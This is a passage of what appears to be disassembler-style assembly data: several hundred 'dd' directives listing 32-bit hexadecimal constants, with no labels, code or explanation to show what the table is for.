0B3955654h, 0EFE6B1ADh, 6058A1C9h, 5C900567h dd 0C4E95B35h, 7837B6D2h, 0A52209AAh, 857513D4h, 255DD2B0h dd 5FE629DBh, 75F1DEFCh, 0A0CFC407h, 0C51FA2D4h, 0BF27889Bh dd 0EC538613h, 9BCA83EFh, 57CB1CA0h, 0D556A7D3h, 0FBC54FE1h dd 11DDC780h, 105FFACAh, 25950DE1h, 49B3B542h, 4DD5E678h dd 9227678Dh, 0A8ABEBD1h, 0C77434F0h, 64865F11h, 51C6EF82h dd 0A232EFC5h, 1DEEC5F1h, 56C6F594h, 8F996AD1h, 71600C64h dd 3A27DEF0h, 3F526F05h, 2A5CAE1Eh, 0C724122Eh, 3CB696BFh dd 5959FC36h, 86AB0920h, 9F6A3A6Eh, 8606DA96h, 248EBEAEh dd 8102A784h, 6E06CDC1h, 174F265Ch, 45280629h, 5C01996Eh dd 2E9D3D70h, 3A797A19h, 3287EFE9h, 70EB8C26h, 9266A5FEh dd 0EB497A63h, 0D1634641h, 7084A45Ah, 7CCD9C1Ah, 31BE845Fh dd 3F3AA6E8h, 11C0B514h, 735283B8h, 7D316998h, 72A90715h dd 0B4B1360Eh, 1D24B4A3h, 55ADDA5Fh, 0EECED5B5h, 909E7F90h dd 1FDFF093h, 1CE3581Ch, 95DA2C07h, 0F401CD1h, 0E100AF7h dd 55E05B56h, 0B2B4D6A9h, 8EE98F58h, 999F65FFh, 0C26DC1C1h dd 3FE4B5FAh, 924DB156h, 64B4C55Ah, 17CE334Bh, 731BE0B2h dd 3404A6C4h, 7B8B7224h, 0CA0CA39h, 0FB412873h, 1248E770h dd 1A410267h, 63A6C559h, 0C94FF68Dh, 65AC2DC4h, 0CE6A2B06h dd 2DD7F364h, 0E05253AAh, 254B6A5Dh, 0F3AFDC81h, 0E98BD899h dd 2A038066h, 0E63C0D73h, 3DC4B439h, 0CEFECD6Fh, 0A64C19F6h dd 37BCC571h, 0D5EB73FCh, 93AD7285h, 2CD3693Dh, 0F0363F2Ch dd 1D4CE411h, 8A14F26Ch, 0DF6DB7B5h, 0FC4CA994h, 30F3D8C7h dd 6E0011F3h, 6321492Fh, 8A3F82DAh, 522B0B95h, 0DE930FD4h dd 0A75126EEh, 8A91542Eh, 4553B8C3h, 0DE15189Bh, 35891575h dd 20696C59h, 521E8ECFh, 0C0AFEB6Ch, 822CDAD6h, 3F1A7A22h dd 7F1C599Eh, 4C24E91Dh, 0B7BF40FBh, 89020A34h, 50076E91h dd 176F330Fh, 0CF6D4AABh, 685F4672h, 0EB72F740h, 9671FC50h dd 0E6287FD1h, 44866F70h dd 90203DC4h, 9CB1023h, 0FD41A61Ch, 2CC59146h, 0B3F801F3h dd 8EA1A4D8h, 4075787h, 2EFEFA85h, 4BE63AD7h, 0E0385789h dd 0EDBDB43Dh, 0DFCECB68h, 0D2CE40F8h, 16ED7A6Eh, 919907F4h dd 2F3532D4h, 672F9B5Bh, 0C4EF244Fh, 28928F67h, 2AEE48Ch dd 94F24215h, 0E8DAAAA7h, 1D5B087Bh, 9E0A4401h, 5087B7E5h dd 0FBF1A25Ah, 0B8C61D18h, 0AA1DF1A5h, 21094D3Ah, 0E8949C85h dd 0B27DECBEh, 3F9E4AC6h, 8264E4DDh, 69F43816h, 0BA8EA5C8h dd 10560D88h, 5D89379Eh, 0DFCA0E9Bh, 0BB4372C1h, 6524BDDEh dd 5D6D63C9h, 141CBF0Dh, 0EF0D2C9Bh, 0BD3845ECh, 301C5EE6h dd 716BF772h, 528C1B75h, 7243EB75h, 869CE7ADh, 1FC174A9h dd 280B9700h, 1B23AE47h, 7BF0ABDh, 0D0C23A36h, 16DA98A1h dd 6D42C0B9h, 0A7B872E6h, 62684D26h, 0AFE2805Eh, 0B4E3068Bh dd 0DAAA12FFh, 0D5A8BD59h, 0D3957DEDh, 0CE9905E2h, 89211F47h dd 34BF09DEh, 0CDA81CE9h, 5474C004h, 32DBA89Bh, 22815568h dd 0A7022C2Eh, 60B5E85Ch, 0E11C1494h, 0B0D11F9Dh, 799EE07Fh dd 70FB5DA5h, 0F33FECE1h, 22DCC746h, 6DB8BA8Bh, 36BA7E53h dd 9E0A283Eh, 0C3D99E6Ch, 247FFEDFh, 64453F0Ah, 44F3BF53h dd 368C4C26h, 72B5498Bh, 376CEF53h, 444B1451h, 933AE4CFh dd 177D53C5h, 3AF1BF92h, 0D97E34FAh, 0EA3661F4h, 67A49F03h dd 3EF3E9CFh, 0C9154B2h, 9B603E0Ch, 0C740BB62h, 0CF5AD0F7h dd 0CA49AB72h, 2573A775h, 276FB544h, 5A6F3AECh, 564B7B38h dd 0ABF34A66h, 73489A9Bh, 0EEC7482h, 0F1333A3Dh, 0D5ED23B1h dd 41A5B077h, 0C503056Dh, 43DC1AD1h, 47C76FEFh, 4FC5F79Dh dd 310EF058h, 17A0B06Ch, 5306CFD7h, 0C61FA0Fh, 0FDD29A48h dd 81FD946Bh, 87F1DCA3h, 6811B170h, 320749EBh, 0C34ED885h dd 5C9C7981h, 0F820C96Fh, 0C9F4F82h, 0CB9A0D6Ah, 0CE707EB7h dd 4C7F060Eh, 440856F4h, 3FE3AF8Bh, 0D86919FEh, 8DEE5268h dd 463C43C5h, 6FAE309Ah, 0CDD42579h, 0DCB3946Ah, 90A9ECEDh dd 0A72154FFh, 0DE715C7h, 2ED206B4h, 5877B805h, 4553529Fh dd 136515C9h, 713CF7AAh, 4553E900h, 7024F089h, 0DD752F4Eh dd 99E02E8Ah, 0A1DE727h, 6A8A247Ah, 0A3194087h, 7B62432h dd 1721F7E3h, 0E9E0E8DAh, 52A06716h, 35EC99FFh, 38B668B8h dd 49731855h, 0AAD1A9EAh, 97354184h, 0C557B6C4h, 74BF3EBBh dd 75621A2h, 4AC3DE9Ch, 9585B27Eh, 0DC1EEE28h, 0AF975E9Eh dd 37828453h, 4EE5BD92h, 89EB5471h, 0E59EB2FEh, 0FFEAAD6Ch dd 7DE97596h, 799FB124h, 56A4C82Fh, 0B789E641h, 2A65A8A8h dd 5297F708h, 72940EAEh, 6BB0D5h, 0C67AA734h, 61620393h dd 0C0ACF6E3h, 0CB7A003Ah, 674873EAh, 4B86797h, 47235EFAh dd 85473031h, 0E1553CFDh, 1E78ED9Ch, 6558F058h, 8BDB9FADh dd 9AAA511Bh, 0FA7CF018h, 0B5A2D52Ah, 727ADB22h, 4DD7C2F5h dd 0B978161Fh, 770129AAh, 0FBAA8BBEh, 78AF4C25h, 2B62FDCh dd 0B4AD6616h, 0BE18660Fh, 4645DE9Ah, 7F4EE8DBh, 80F8C7B0h dd 90AD2646h, 0A8F79155h, 8C04F5Ch, 0E4D6A4BEh, 0EECBFB83h dd 0DA212E6h, 0E1865457h, 3EBF57Ch, 0FFBE3355h, 5A2B537Ah dd 4CF55743h, 0D9856473h, 0DD3BA294h, 0B50947FCh, 9F133CA7h dd 0D6F2D3A3h, 0A2418919h, 0EB70FCDCh, 0F6D2B0BAh, 0CA475D68h dd 2B516AFBh, 7CB78E1Ch, 0BC564355h, 0E30D4110h, 0FD85B379h dd 1DEEB67h, 0D924073Ah, 2C24240h, 0CAF2E6ABh, 5C86E76Bh dd 0D50643FBh, 0E86508E2h, 9EBE7589h, 3D50014Fh, 930BF13Ah dd 0F21F928Fh, 96774BF8h, 0B1C5D21Fh, 0C1F23C48h, 2CF69647h dd 10B7E0A4h, 0A294983Fh, 47815AAEh, 0C43EB3B7h, 39346ECEh dd 8144B587h, 71B98429h, 23CD6DC5h, 81C6B90Eh, 0B2BC2C82h dd 30754B69h, 6AD84224h, 95CCF6BFh, 78D308FFh, 0EBAED1FAh dd 0ECA41897h, 331CD142h, 86926434h, 2A7C2B91h, 70E13C3Fh dd 2036B682h, 21446D88h, 8999C96Ah, 6066B462h, 0D29CF551h dd 0DB881671h, 6E32AF4Bh, 27F4096Dh, 5D241D7Ch, 1B4D6667h dd 989A61FBh, 0C4B8B52Ch, 4297542Eh, 1EEB01E5h, 6B2347E9h dd 0DDFE7394h, 3C4C3251h, 0E0D86346h, 6E9DDBABh, 9B9FDD82h dd 675F0243h, 1E240A93h, 27E3F2CCh, 3A2109C1h, 4EB9F039h dd 27C06653h, 56FC88D2h, 8B502D27h, 8245873Dh, 859608DCh dd 0D7547C2Bh, 5F08FE96h, 0E40BC90Fh, 0F24B52E7h, 35DD9551h dd 4C427B17h, 1C0C3AB7h, 0CECDAE0Ch, 78AB5128h, 13BF1D65h dd 34051458h, 547487h, 0A69608B6h, 76985631h, 57005B70h dd 0C33AF733h, 79762B4Dh, 15CBB0F5h, 1AF86BCAh, 8E44E73Ch dd 0EA217035h, 0B342848Eh, 63847AB3h, 1710C8C3h, 52FB9D6Bh dd 4D1CCFA2h, 0F0C11FD2h, 48E45EECh, 63CA8CD2h, 9DD30931h dd 6F800C73h, 4934EB1Dh, 1232782Fh, 2271B24Dh, 0A37C836Fh dd 3134756Dh, 0A569326Eh, 4A084037h, 0F46B3979h, 948FF6A4h dd 6A7085F3h, 5B668E30h, 0E1B7F8D8h, 58971432h, 44D061C0h dd 3F83350h, 5EC2DDCBh, 0DD47E314h, 9D694A2Fh, 0B43224AFh dd 0C7D47F31h, 0CCE39D6Fh, 1050B277h, 0D67B299Dh, 0C0E91D56h dd 0AD17B82Eh, 0D0148AD4h, 128A7235h, 78B7E016h, 0C87A4AE0h dd 3D05D93Bh, 0FA1E1A0h, 0AD67FF47h, 0C1BDB7C4h, 22E27599h dd 999831A5h, 0B1972376h, 6F1AD670h, 87EBFA50h, 0FA136404h dd 278F81EDh, 5B8B4135h, 82BA007Fh, 0F69961Dh, 224F9772h dd 66FFB0EBh, 0A63F890Fh, 0DFFA1EF4h, 8F737BDFh, 98971482h dd 948B5407h, 0AB8548Fh, 5EAF25ABh, 84539A03h, 0BF0830DDh dd 0A1D7A17Ch, 807F7ED0h, 5B975030h, 135D5E5Ch, 3955A4F1h dd 0F1C0A74Bh, 5AFA0044h, 85256155h, 0C4014DD1h, 5BCF0287h dd 28F81C84h, 769A94C1h, 98F92A29h, 72129Dh, 27484176h dd 49E8E1BAh, 59F4B542h, 0F600F63h, 0CEBAF4FAh, 0C9F30E7Fh dd 0A1DB453Ah, 0AEEB137Ah, 80B909CAh, 0C5C01369h, 8D78CCBCh dd 1F960670h, 0F3775C50h, 218EF175h, 73E6B5FBh, 1E5EFC9Ch dd 0F37433F0h, 0A3563B92h, 9F1CE9FFh, 55AD927h, 0E313A42h dd 0C7FC37E5h, 0C303F878h, 0A86854CBh, 5211415Dh, 3739C44Ch dd 8BDBEDC2h, 4F5290EEh, 851CD5D1h, 0C36F96C9h, 5E258773h dd 0D69113FFh, 218868E3h, 9EF534B4h, 0BD32CD2Dh, 0F37D00C9h dd 5FFD16FBh, 4FA2E187h, 6F67F9DAh, 46594100h, 604C0814h dd 2F7E779h, 0E8D24F0Bh, 8E3EF5B2h, 5733D61Ch, 0DDE87h dd 109B998Ch, 6A2D007Bh, 0A3F3AB89h, 0BABE7786h, 0E274BB9h dd 994B75A2h, 5D7A74A9h, 97B01A35h, 0A3FFAC6Bh, 147AEFA5h dd 8C28605Ah, 2E3F237h, 5D32A91Ch, 0D58B714Bh, 0A353BAD1h dd 37473377h, 0A50A8DECh, 3B401F2h, 8BDBDBFFh, 0B17D0413h dd 1E8B190h, 6D507C56h, 0FAC0D74Ah, 0C121C39h, 7A57B61Dh dd 0B97B49D1h, 3AD1AEFFh, 0D0B71D6Fh, 0CCE6D5A3h, 0E9997926h dd 673E4977h, 0F8CD1706h, 14743177h, 766AFB5Dh, 944043CEh dd 7ED2B900h, 0DCE68136h, 0D19F0BA8h, 91546E8Ch, 28B6FB15h dd 0B5D39E45h, 0B3762BD8h, 6D2640Ah, 0C196CD96h, 4ACBBA8Eh dd 96317876h, 0D55E1D40h, 28D2230h, 0BECF842Bh, 6BE0674Fh dd 0D08A2C0Fh, 5C547C01h, 64CFED1Ch, 5230A85Eh, 478A49BAh dd 47F8D387h, 0E35CC49Ch, 95D0B31Eh, 66EE99CAh, 0DE66FB07h dd 0F216676Ah, 76A07AEFh, 53E01FF0h, 18A77E73h, 7D5ABF9Ch dd 0D6142F49h, 0EA2CF602h dd 629B2ACEh, 0EDBECAB4h, 0E45F5D7Ch, 0AB360Dh, 0C339DEFAh dd 4DD9211Dh, 8F74D01Fh, 8098EA02h, 0D9196627h, 7FC52D4Fh dd 51582282h, 25BC4877h, 0C9F9D269h, 27FB8D31h, 1AB10ADCh dd 0E1D230Bh, 0D7791664h, 0A029D6AEh, 0D9ED5833h, 23F09094h dd 8224E6F4h, 33DCC7FCh, 22753560h, 22282BFCh, 0F0F25081h dd 0C7ED7A0Bh, 0BC6FFB20h, 0D5D95E46h, 96D56D64h, 0AC49B749h dd 61642453h, 0B2A22152h, 0FAA3254h, 6B2C2570h, 0B4E9C130h dd 0D8D80028h, 0CBB86EB1h, 0F650C336h, 0B47ECC07h, 0D88DF31h dd 9505E626h, 0A3B865Ah, 45B0D3DAh, 51D3386Ah, 103D2E85h dd 0AB884974h, 5508B274h, 5CCD9CABh, 9E5C24DFh, 25018458h dd 0B454C053h, 791A0855h, 6251B40Fh, 0F279BDC8h, 0C511F64Dh dd 0DE45DC5Ch, 5BCC3542h, 0C806C982h, 73AB9F46h, 0A7AF899Fh dd 28D71125h, 0B8ACCEDDh, 0DBDE57B9h, 0D4B7E55Bh, 0BF48BE8Fh dd 6127E197h, 1604400h, 688A1851h, 17CF294Dh, 96B790FBh dd 8CE4F33h, 0F936BEEBh, 4B19654Dh, 524E7892h, 304319F6h dd 0CE8D2B3Dh, 6DC28859h, 0C5AFC223h, 7324EA53h, 0FD0AB5CFh dd 5980FE1Fh, 0E80AAE0Ch, 4EF0FABAh, 21E26969h, 5F6067D2h dd 2A03037Bh, 0BCC33BA1h, 66B2FDDFh, 0BCFA41D7h, 3B1258FCh dd 9EA51C20h, 43C61D45h, 0A393128Ah, 5309A04Fh, 0A6659198h dd 582F9838h, 0FC02A5BFh, 82E88CEh, 60C6D9B0h, 0FCC91DEEh dd 352BA440h, 5D6B1570h, 0EE5856B9h, 0CD878F20h, 2BF3FC1Dh dd 8F68625Bh, 0D38B582Ch, 2E4ECE6Ch, 57029EC3h, 16380AA9h dd 54F62F6Fh, 0B7AF5DBBh, 0F341208h, 0AC995046h, 0F7DD6037h dd 5F6F2B18h, 0D149300Fh, 53F613C0h, 0BDDE3370h, 0C3DB7625h dd 5623AFC3h, 8EF704BCh, 0B81F0CE0h, 3D64045Eh, 3BEAD8C1h dd 44D40E01h, 7FD3BE44h, 0DC75D0D8h, 680AD013h, 0BE42C777h dd 0DA393159h, 5E0B9464h, 0A0A6DF90h, 4844790Eh, 7E37E9F5h dd 501C476h, 0CB297AA0h, 5E9462A4h, 49A69013h, 1185FF48h dd 86BA24BBh, 0E3FFB288h, 0CDCAECC9h, 4AB79F40h, 0DD0EF76Eh dd 0A31C5B92h, 57F4F984h, 5CF71FBAh, 6B35E5B1h, 5E57C02Fh dd 6721F63Fh, 0FE8C6F7Dh, 0B2BECF5h, 0D9A56E1Bh, 2246197h dd 2320399Ah, 9A18428Dh, 82957E9h, 8F5E584Bh, 6B40D27h dd 1E0FFB3Eh, 475D29F9h, 860864BDh, 0C98AE3D0h, 0D77DBB0Bh dd 7E18ADD3h, 0E2519B4Bh, 0ECDF9083h, 66AB5649h, 0EF65FE84h dd 138F9AD8h, 6AF359Ah, 0CB5A2F16h, 6225FF20h, 563BB4F1h dd 2DFBF88Fh, 0B0F9596Ah, 0D4ED929Bh, 0F13EAAF8h, 0EA6F243Ah dd 0EB538995h, 0FFE3BF0Eh, 0A2405BB8h, 0BAFB3AE4h, 2F011AD0h dd 0EA8E6A42h, 6E5CC45Dh, 543C2EFh, 0A27DA351h, 807E4C35h dd 0C182B29Eh, 0FAF0C2B1h, 0A89E4D84h, 58A518DAh, 1D69C4FDh dd 6A322E75h, 0E3BED0B6h, 5D9BD4E0h, 0DC0CB214h, 36E8BA1Dh dd 424B335h, 5BD79BF5h, 78041C52h, 4A68CF0Ah, 0AA37FC59h dd 0B308B14Eh, 0E89FCD4Dh, 3F286D95h, 0FC729E3Eh, 351AB6F0h dd 0C34E564h, 0F0AD721Fh, 0BB5EF80h, 0A24008AEh, 4E376EF5h dd 7D6F15BAh, 65B7F752h, 0FD274D55h, 9B6EE4C4h, 245E3B42h dd 964A138Dh, 6CE6C55Bh, 3E77C7E0h, 0BAEE029Bh, 57986349h dd 0B714402h, 64BE5EA4h, 826D4C84h, 0D734C74h, 0F74EC274h dd 0A7055C12h, 79F95FD2h, 300C86BFh, 0E2479302h, 1DC4B5D0h dd 991CF7D4h, 0B9B9AB59h, 0AADE94E9h, 0B781DDF0h, 0E75B016Dh dd 6119090Eh, 0F4EDCFF2h, 0A0DA80A8h, 0C7A80C77h, 0C5AD7153h dd 0C8877403h, 9CC17A93h, 0AFD0DE78h, 5689D93Eh, 0F1DB64C0h dd 0BC4141ABh, 988483C9h, 1984FA11h, 4E2E9091h, 0D433F67Fh dd 0DA55A06Ah, 0B7B2B644h, 4502C66Bh, 9E862740h, 5D9D41F3h dd 0E4243F96h, 0DC92370Ch, 3663D0FDh, 0D2AFE774h, 0ACC01593h dd 0E5C87339h, 12F45E01h, 0EC7FA41Bh, 0D1D9944Dh, 0C929BA84h dd 0F0C7152Fh, 7E26F38Eh, 38828126h, 729387A4h, 82CA167Ch dd 0AC697754h, 358394EEh, 17B39EE7h, 58CBCA3Ah, 432EFAE4h dd 42BC3C6Ch, 0DB4AF3EAh, 9D3E7872h, 11E34A51h, 0CDEE4728h dd 0F582C818h, 0A5A45012h, 0D8B74B51h, 4002EE64h, 4465E7C0h dd 0CF954ABh, 14DFC71h, 113F1266h, 844D26A8h, 0BDDB6EEFh dd 8C69BFC7h, 77665165h, 0FBDA3912h, 7320384Eh, 0B87D72Dh dd 53E151CBh, 4149D4Dh, 49EE2956h, 0C9109D42h, 91B1D849h dd 0EBEE0FD2h, 0C8761332h, 7B7D47F2h, 568B93C1h, 0C4437AF4h dd 6FDEE0A7h, 8EF544A4h, 0B484B707h, 19B67F47h, 0FBA71773h dd 0AE9D03B6h, 0AA877723h, 8FB36A7Dh, 0FF2D4EB3h, 0C40F294Bh dd 8346FD46h, 88B8BBA9h, 4CADB06Ch, 0A47FD454h, 0F327E376h dd 0F97BEF4Eh, 56810D70h, 0E4EC12D4h, 8B69C362h, 0B6328297h dd 0F4486533h, 0C6412059h, 0BF093961h, 0A998C004h, 51ABB458h dd 7C0191CFh, 0BD4A537Fh, 0EF5FC2BFh, 6F04D26Ch, 6417EEA7h dd 189226EAh, 0AE092D15h, 0C10832EEh, 98D9C0F1h, 7B069296h dd 25F127B0h, 5EC2CFCFh, 370112B9h, 1564625Ch, 9AF9C1BAh dd 0BD312A27h, 0A12BD45Eh, 380DDCC5h, 0FFA30C79h, 0C35F7AA5h dd 603DF93Bh, 0A18540F7h, 69DED8BFh, 0F8BD2032h, 0ECB3EC3Ch dd 0E4E11E5Bh, 0C09487F3h, 0B910CCD7h, 88313323h, 79331D8h dd 316415A2h, 6DC4016Bh, 0E3502EBBh, 163DCB89h, 1FF3830Dh dd 0C02FBA33h, 2B918130h, 12CD8F80h, 44A9728Dh, 0D0B518Eh dd 8CB1A8Dh, 968F4446h, 5FC7E15Fh, 0DCD6325h, 461926A5h dd 7E0589h, 0F21358A6h, 3F960FFFh, 6B8DDBE3h, 2A5825FEh dd 0FD8F23B2h, 70D85D94h, 0B22E2F9Ah, 0F7329C03h, 0D9AC4DA7h dd 0DD71C628h, 80961519h, 5DC02C2Fh, 0C5F014C8h, 1BEDA2BAh dd 0B73DC806h, 0AA8001AEh, 8C0EE471h, 2B160326h, 0EA0588AEh dd 0E18E84BDh, 0D64DEE90h, 5250ABE2h, 5B071B6Bh, 173944A4h dd 0A04AA1B5h, 0D9D09515h, 0BBB8C454h, 5E80D0E0h, 0EF39AD75h dd 0D768AC1Bh, 2C35695h, 68C11615h, 0E4324362h, 0B0FD55EEh dd 81D9EF53h, 96976693h, 94387256h, 9DD7110Eh, 0BF472FC3h dd 0F398078Bh, 5C39B186h, 50F98F94h, 4A06F966h, 2902D827h dd 0D9935CB2h, 0BE64BDC0h, 2A2EB6C9h, 440140EAh, 6DFD2D80h dd 0C155826Dh, 0FAE0A1DEh, 21E07280h, 2C0CB622h, 7E065E3Fh dd 0DE9F8769h, 0F19B2BA3h, 0AA9EF060h, 0A84491E5h, 29EA21CAh dd 36075EE4h, 8EC4CA1Ch, 3832247Eh, 70F0529Bh, 0FD661D1Ch dd 93E4ED1Eh, 0E75C4FE2h, 0CB3C9BA6h, 992A2280h, 0FC658646h dd 787958D0h, 0B11E4640h, 394070FDh, 16D2ED78h, 606CA9EFh dd 8CE9D10Fh, 0BCD965h, 0C63D999Ah, 6AA7A2B5h, 8DD1FDD7h dd 196BDEBEh, 0F8A55DFAh, 91267A0Bh, 0FC3F56BAh, 0B2A64731h dd 2E3E4EAh, 914381B5h, 5FE99610h, 7A6C541Ch, 7E7970D1h dd 6B3E7D8Eh, 42A2CB0Dh, 0F5CFF368h, 0BF3D7641h, 0F7A1003Bh dd 86BE3D2Bh, 9DB560D3h, 0BA718A42h, 27AF2E32h, 0EF1889B8h dd 0F3682C8Ch, 16F13EFh, 0D4A398Ch, 0B0776429h, 1595CC28h dd 3BD9F3Bh, 375E4825h, 6D5CA777h, 79C9DFFBh, 0EB75C632h dd 3ADDB158h, 781E08C0h, 0A5CFCFB2h, 0D057F788h, 0DD8BAEAEh dd 37D8EF4Bh, 0DAB0ECDFh, 16660EBEh, 0BFA8E690h, 0DE512FAAh dd 0A8B3C1D5h, 0A347694h, 0DD977326h, 0A8902533h, 4FEDB090h dd 5859FB91h, 0CE3CF462h, 8C34D07Dh, 7B1A9552h, 6F5AA118h dd 0D4D33DE2h, 3851D217h dd 375EDB9Ah, 4B2D4DA9h, 32DCAD08h, 0F4161B41h, 0AF7D0207h dd 0C17B16F7h, 4D612FF3h, 85DEFEE9h, 0ED540094h, 0C5C2135Bh dd 0A4F4DE7Bh, 0FD5A47B0h, 0C38C8FBFh, 4C58E8E7h, 7FEF05F7h dd 0B38C8BA1h, 0AC7A48CBh, 0E851A2CAh, 46B04782h, 84CF9C26h dd 1DC714DEh, 445E7E7Dh, 58F59F98h, 67DB4DDDh, 0A830EF60h dd 23C26AE5h, 6659D7ACh, 987F7435h, 0AD38119Ah, 46720415h dd 4F56E176h, 0EF6F2246h, 39185E72h, 652C6868h, 0C8C12C61h dd 83E38A6Ah, 3F7285EAh, 0E006B990h, 871F3A7Ah, 4C9F1755h dd 2354F5BBh, 3D7BFDD5h, 18BA965h, 59B765ADh, 1FAC0BEFh dd 9CA19B9Dh, 742573F5h, 0ADCAE524h, 4952F9DBh, 7B4E1019h dd 0FAD7D892h, 5A9EFEF1h, 71F836EEh, 0C6D1C771h, 0A9731A57h dd 1D26ED34h, 73BAAE2Eh, 0EC075CE2h, 2B1818D7h, 0DF63B0E5h dd 569B6A4Dh, 0D92A48F7h, 969F6391h, 6E93C793h, 21EE37DEh dd 55075C49h, 6E2A26BEh, 63E3898Bh, 0EEC3D2E9h, 0DEC9360Fh dd 0A3DC18E2h, 7EB54885h, 0B0903164h, 157F4B44h, 0A66D8B1h dd 0CBBBC07Bh, 98EC20D7h, 466804Ah, 3EF131CCh, 17A11538h dd 0C496CE47h, 0FD967181h, 0F93D0AB7h, 0CA68199Ah, 0C5328424h dd 3F9B401h, 36C4D138h, 3AA76916h, 0B2D3EA10h, 49AFF1A4h dd 2D90D289h, 0E5E6C765h, 445EA3E1h, 683F3177h, 1A8A0732h dd 0B9C6AD1Ch, 800FDB70h, 0C9235EFCh, 52B8F43h, 9050D0F1h dd 660A1B1Fh, 0BD158D51h, 0B911043Fh, 0C5042F04h, 91E4956Ah dd 1C99237Ah, 74387FE0h, 327591D8h, 50B62D1Bh, 3A67931Eh dd 49B89287h, 40741DE3h, 7003D19Fh, 0C6DBB295h, 4B5DE8E1h dd 262C3F3Dh, 1D0E21Bh, 5BA7FF0Fh, 71D1AFF5h, 6DDD83B5h dd 99DD8C6Dh, 85D5A8B3h, 0C29781F6h, 0DCFD037Ah, 0EE78BBE5h dd 35792A8Ah, 0E7CDDD0Eh, 0DD1E6E72h, 0EB7DD31Bh, 0C2BE4BF8h dd 0B011C88h, 852D824Fh, 55CC09C5h, 0C3CE323Ah, 277166D1h dd 1F37E687h, 0E2AFCC43h, 11870AA8h, 15CCE795h, 5143212Ah dd 14F9F418h, 82AB088Ah, 85B10819h, 187AE423h, 0F9FC9D52h dd 0BB11FEE1h, 9759804Fh, 6E1D6900h, 0BDBFDD35h, 46935511h dd 0AB310B20h, 297769EDh, 0AFB48B3Ch, 199D8549h, 2526D6D1h dd 4BC64190h, 9CBAA3FDh, 0B2658D1Ah, 8B2C76FCh, 3CCBF4F7h dd 8B0E723Ch, 94C3CFD1h, 996CD95Bh, 0A7C0EB71h, 0DE6099F6h dd 7EFC2D75h, 97AA8AAAh, 0B0FC46D3h, 0B8DBB0DCh, 0EA7F9F97h dd 6747A690h, 0BC0E632Fh, 52FAB2BEh, 5ECA2035h, 39507607h dd 3FF222F7h, 1CB88F7Ch, 0FBACE05Dh, 4006E163h, 4D3C4856h dd 0FD4055B5h, 0B74FEB7h, 7C6D537Ch, 0DEC32A35h, 23DC562Dh dd 0AB50B96Eh, 4B422BEBh, 4284B2C4h, 2417A3F8h, 0FCE45189h dd 0C2734476h, 28E06B99h, 970CE2C1h, 71E5FF4Bh, 76020FB8h dd 0D08EAB4Dh, 3A5BF17Ch, 0FCD5F44h, 0F084285h, 0AB7E0C3Ch dd 0FA6E7AE9h, 2F8ECBE7h, 5509562Dh, 0BF0EA540h, 0D16603DCh dd 274A0604h, 6DFAE339h, 0C0F3537Eh, 45280C79h, 0F91C6BA8h dd 21B8E5BEh, 0CDBFBEDAh, 50CB5E28h, 368199D6h, 13B28DB0h dd 0E10D2181h, 76062A74h, 0A831D13Eh, 13AD717h, 2D3AB0EBh dd 0DA93F691h, 0C428EA0h, 0B885A6C5h, 594FEh, 0E3C58552h dd 3B7D0B9Dh, 0F8AE5A58h, 19DF4C48h, 50864855h, 82675D8Ah dd 447CCCF5h, 7E1CDDA4h, 3763266Eh, 32049DA8h, 428A7439h dd 0DF166354h, 445F7CD1h, 23444F40h, 0C2EAE2AFh, 7E380FA2h dd 197CAA9Fh, 0CA324F99h, 14C0ED2Eh, 0B30E1A8Eh, 7BFB8322h dd 0E5FD5172h, 2CD6505h, 64C28C52h, 6E2F1B60h, 515EED7Fh dd 0C944C517h, 0DC246CF7h, 28BDA937h, 9E16BC40h, 5DEF4D2Ah dd 0DA85E97Fh, 668ECF1Ah, 5E262ECEh, 9A449CBAh, 56CCAFDDh dd 1E5F126Eh, 0C62DC1D5h, 7683C4F2h, 0AD0871E0h, 763BC050h dd 0CA8B641Fh, 0A6E026CBh, 77527502h, 0A9C24991h, 8501235h dd 4A311F71h, 0FB17B454h, 0D9B7053Fh, 0C849BE17h, 0E593DC50h dd 87771DB8h, 85E696CEh, 70097291h, 0BB8B595Ch, 907F2BA0h dd 0BF5B3FA7h, 19D7C725h, 0A45A38BDh, 0B6D5E644h, 0C878EBB1h dd 0D0AABDCEh, 8FDD1167h, 0F1D94870h, 8837A595h, 259E110Ah dd 1C652E82h, 9258C84Dh, 988F23D5h, 63B37B6Ch, 0B98F6A1Fh dd 1058B8DCh, 30624B55h, 824E06DEh, 71D64690h, 97D35B4Bh dd 7CF2E60Ah, 0BA3E1655h, 37C68AFEh, 0B4BBF5B9h, 89B212A3h dd 82B19416h, 0D2F336EFh, 0EDF54001h, 29AD6C99h, 31919735h dd 59E3451h, 0AD3D5A34h, 0AB0F49FFh, 1C8408E3h, 78C9CBE2h dd 5E33A0FAh, 36102B62h, 749B146h, 82ED15EEh, 0D337200Eh dd 0E2FA586Fh, 0D38C5468h, 13D84849h, 0AC930F6h, 2312C88Bh dd 0D4EC32Ah, 1E6D61DAh, 29AB2DFFh, 0E12CFE6Ch, 1F84F758h dd 4F42DFEBh, 2769535Dh, 9CE14D00h, 0D2619E1Fh, 111F3E0Fh dd 31D63273h, 0B0993652h, 81A44E46h, 0AB1CB4B1h, 7F850C5Fh dd 0CDDC1A54h, 2A0A3D30h, 89E6DD92h, 7B71D5C4h, 645AFF33h dd 0BE40912Bh, 31C16449h, 7C29C8E8h, 12240C90h, 0FBFCC655h dd 5E29ECF3h, 6EBE1E7Eh, 23D5AF44h, 9BF06154h, 0B938ED9Eh dd 269BD60Bh, 1CDB51E4h, 0C420CBF3h, 96A06B11h, 0B3A69248h dd 0A8973D7Bh, 0FC25E23Dh, 92365DC4h, 8C9135AEh, 1404A1E9h dd 0E6B25D7Ch, 7BE6C84Fh, 0BDC56EBEh, 991C9E96h, 13ADE250h dd 1AD4144Ch, 0D16C95C5h, 0F61BF6D4h, 0B8C0C32Bh, 98EFE728h dd 0B107A849h, 0F02FF105h, 0E3A9A435h, 9AFAA840h, 9045CF1Dh dd 35C103FFh, 7FC7FE56h, 0C32844D6h, 13608613h, 0D2234658h dd 0ED9EBB45h, 0C52A46CBh, 0D0D3CCEBh, 0A0984F3Fh, 0CC2D3F93h dd 5E586C9Bh, 0B43CA3F3h, 0B532733h, 30838E30h, 0D0A20B05h dd 0B0CDD00Ah, 9E4D1D3Ah, 0FFAACDB0h, 0E301977Ah, 0F7DAA21Eh dd 31440EB8h, 0B233B69Fh, 5580AA9Bh, 423A6484h, 782BD8A4h dd 2F646DFh, 0BE834DC9h, 0A35FEE0Fh, 0C2E7FAC4h, 123E1872h dd 3F2EA6BEh, 4894026Fh, 0BC1B6B3Bh, 299C552Ch, 0CA5CE11Ah dd 4A2180A1h, 